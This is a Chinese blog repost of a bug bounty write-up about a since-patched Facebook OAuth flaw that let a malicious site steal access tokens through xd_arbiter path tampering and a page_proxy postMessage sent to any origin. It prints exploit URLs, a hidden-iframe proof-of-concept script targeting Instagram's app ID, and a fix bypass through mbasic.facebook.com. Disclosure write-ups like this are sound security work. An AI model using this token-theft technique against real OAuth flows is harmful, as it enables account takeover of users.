Facebook OAuth 框架漏洞

Facebook OAuth 框架漏洞

PS:FB的账户接管漏洞

不知道为什么,我有一种直觉,Login with Facebook这个功能点我觉得不太安全.
FaceBook使用了多个重定向的URL,但是,要在Facebook中找到一个高危漏洞并非易事。这是非常具有挑战性的。

但是,根据谷歌搜索和StackOverflow的说法,我发现这种方式多年来一直处于脆弱状态,大约9到10年。

背景

Login with Facebook功能遵循OAuth 2.0协议,在facebook.com和第三方网站之间交换token。
该漏洞可能使攻击者劫持OAuth flow并用来接管用户帐户的access_token。恶意网站可以同时窃取最常见应用程序的access_token,并且可以访问提供多种服务的第三方网站。例如Instagram,Oculus,Netflix,Tinder,Spotify等。

POC

Facebook SDK使用"/connect/ping" 发送出user_access token,并将所有应用程序默认设置为白名单的URL重定向到XD_Arbiter 。在后台,SDK在初始化时会创建用于跨域通信的proxy iframe。proxy iframe通过postMessage() API 发送回token,代码或未经授权,状态未知。

这是正常的登录流程

https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com

这个api受到了很好的保护,没有先前已知的错误(例如,参数污染,原始验证,重定向(#!)等)的影响。我尝试了很多方法,但都没招。那该怎么办?

我注意到只有一个请求是可以修改的,xd_arbiter.php?v=42修改成xd_arbiter/?v=42,除了路径遍历之外,还可以进一步添加更多目录/参数。 首先,从哈希片段中窃取令牌非常困难。在这一点上,我们需要一个proxy iframe,该框架可以(劫持)为我们完成这项工作,例如API,location.hash,postMessage()API,任何来源的”*”。(跨域请求)
幸运的是,我很快发现了page_proxy

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js

它包含了我们想要的代码!

var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");

这个资源有一个EventListener的属性,如果条件检查未满足,那么代码抛出postMessage(),可以用frameName的任何来源*,这是不正确的配置.

Exploiting Proxy

利用这玩意并不难,我将page_proxy资源附加到xd_arbiter。

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42

https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42

在此漏洞利用中,有几点很重要。

  1. 缺少X-Frame-Options标题。(非常脆弱)
  2. 另外就是window.parent,它本身不需要和用户交互。不需要关心window.open或任何onClick事件。

重写Custom_SDK.js

var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);

现在,就可以进行跨域攻击.

-w756

Facebook帐户接管

如果第一方的graphql令牌泄漏,就可以查询电话然后进行添加并确认新的电话号码以进行帐户恢复。由于它们已经被列入GraphQL查询的白名单,所以不用任何权限检查。即使将隐私控制设置为仅自己,同样也具有完全的读/写特权,例如消息,照片,视频。

FIX

我报告交了没几个小时,FB就修复了这个漏洞.

/connect/ping  api被弃用
XD_Arbiter中添加了__d 以中断page_proxy中的JS执行

验证修复和Bypass

虽然我们双方都知道OAuth的核心api/dialog/oauth/仍然使用令牌将其重定向到page_proxy。我告诉FB也要修这些api,但FB回应,Facebook说xd_arbiter被列入白名单,并且该团队认为page_proxy资源中的代码更改也可以缓解此问题,所以令牌本身无法泄漏。

2-3天后,我重新访问了page_proxy的代码,发现__d(JSSDKConfig)代码移至底部,并且对调用的postMessage()能够再次执行。我没有完全分析它们所做的更改,但是我猜想前面的修复措施可能会破坏其他资源。这就是代码行移至底部的原因。我立即重建了安装程序。

www.facebook.com并不遵循重定向到xd_arbiter的状态,而是为客户端来源创建了closed_window和postMessage()。
(攻击失败)此规则适用于chrome的mmobiletouch等,但不适用于Firefox。您可能知道Facebook如何在User-Agent和子域之间发挥作用。

输入mbasic.facbook.com就会响应HTTP 302重定向标头,并且适用于所有浏览器。

https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F

再次修复

  1. 不再允许对xd_arbiter进行任何修改/篡改。(仅接受绝对文件路径”xd_arbiter.php”)
  2. 用于xd_arbiter的所有重定向HTTP状态均被阻止。(mbasic.facebook.com)
  3. 7SWBAvHenEn.js从服务器中删除。
  4. 在另一个JS资源中添加了正则表达式验证过滤器。

我很高兴能参与这次披露,并且为成功实现我的目标感到高兴。^-^

影响

攻击者构造的钓鱼网站可以获得用户的token

时间线

  1. 2019年12月16日–发送初次报告。
  2. …….
  3. …….
  4. …….
  5. 2020年2月21日– 55,000美元(合并的奖励),这是账户劫持的最高赏金.

原文地址!!!戳我


文章作者: Wing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wing !
评论
 上一篇
 从信息收集到内网漫游 从信息收集到内网漫游
从信息收集到内网漫游بسماللهالرحمنالرحيم 本文主要讲述我是如何通过结合各种漏洞的利用,最终进入到世界上最大的ICT公司的内网.pdf版本,戳我下载^_^ 如果你嫌内容过多,I部分是简明扼要版本. I. TL;DR进入
2020-03-04
下一篇 
Mac Iterm2 终端美化 Mac Iterm2 终端美化
Mac Iterm2 终端美化前言记录一下今天主题配置情况 Result: Begin SettingsZSH和oh my zsh的安装就省略过了 主题选择powerlevel10k,在9k的基础上提升了流畅性,官方说的是10-100倍,
2020-03-01
  目录